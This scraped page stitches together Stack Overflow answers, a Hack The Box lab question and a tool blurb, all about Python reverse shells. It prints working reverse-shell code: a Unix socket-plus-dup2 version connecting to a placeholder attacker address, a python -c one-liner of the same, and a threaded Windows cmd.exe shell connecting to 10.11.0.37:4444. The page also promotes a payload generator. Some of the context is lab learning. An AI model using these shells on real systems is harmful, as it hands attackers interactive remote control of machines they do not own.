subprocess module was introduced in Python 2.4.
You can use os.system instead of subprocess.call:
import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacking-ip", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system("/bin/sh -i")
python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")'
Answer from falsetru on Stack OverflowHow can I use ctrl-c when in a reverse shell without breaking out of the shell?
Reverse shell using python - Stack Overflow
shellcode - Python windows reverse shell one liner - Stack Overflow
easy-shell: A pure Python script to easily get a reverse shell.
Videos
Apologies if I'm phrasing this poorly.
I'm working on a Hack The Box VM (Vaccine, if you're curious). I was able to get a reverse shell on the machine, and I ran a process that was taking too long. I hit ctrl-c to stop it, but that kicked me out of the shell. I had to re-establish the connection and get back to what I was doing.
Is there a way to be able to use commands like that in the reverse shell without getting kicked out? Some way to tell the terminal window "Anything that I do, I want to do on the server and don't interpret it as a local command"?
(@rockstar: I think you and I are studying the same thing!)
Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows.
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))
p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...
From the documentation for socket.fileno():
Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.
I do not think you can use os.dup2() on the return value of socket.fileno() on Windows unless you are using Cygwin.
I do not think you can do this as a one-liner on Windows because you need a while loop with multiple statements.
After sending a request, easy-shell generates a payload with different commands available to get a reverse shell (python, perl, awk, and more).
It was written using the default Python modules, so you do not need to install external dependencies.
GitHub repository: https://github.com/crhenr/easy-shell